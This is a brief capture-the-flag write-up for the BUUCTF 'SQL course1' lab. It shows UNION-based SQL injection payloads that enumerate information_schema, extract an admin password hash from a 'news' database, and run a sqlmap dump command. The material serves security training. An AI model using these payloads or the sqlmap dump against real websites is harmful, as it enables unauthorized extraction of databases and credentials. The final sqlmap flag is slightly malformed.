[writeup]buu SQL course1[entry level]

Observation website , Seems to have found the injection point

http://70e2a79f-6017-4286-b07f-1729220b2c7d.node4.buuoj.cn:81/#/content/-1 union select 1,2

/-1 union select 1,(
select group_concat(schema_name) from information_schema.schemata
)

Get the database
ctftraining

Get table name

-1 union select 1,(
select group_concat(table_name) from information_schema.tables where table_schema="ctftraining"
)

FLAG_TABLE

Get column name

-1 union select 1,(
select group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name='FLAG_TABLE'
)

FLAG_COLUMN

When getting data, it is found that the data is empty , We can only find another way
See if you can log in

news Found under the database of admin Password ：67fef29ef7beb75f567587f135fa26a0
get flag
payload：

-1 union select 1,(
select group_concat(password) from news.admin
)

Use sqlmap
burp The injection point can be found directly in the

python sqlmap -u url  -D ”news” --dump-a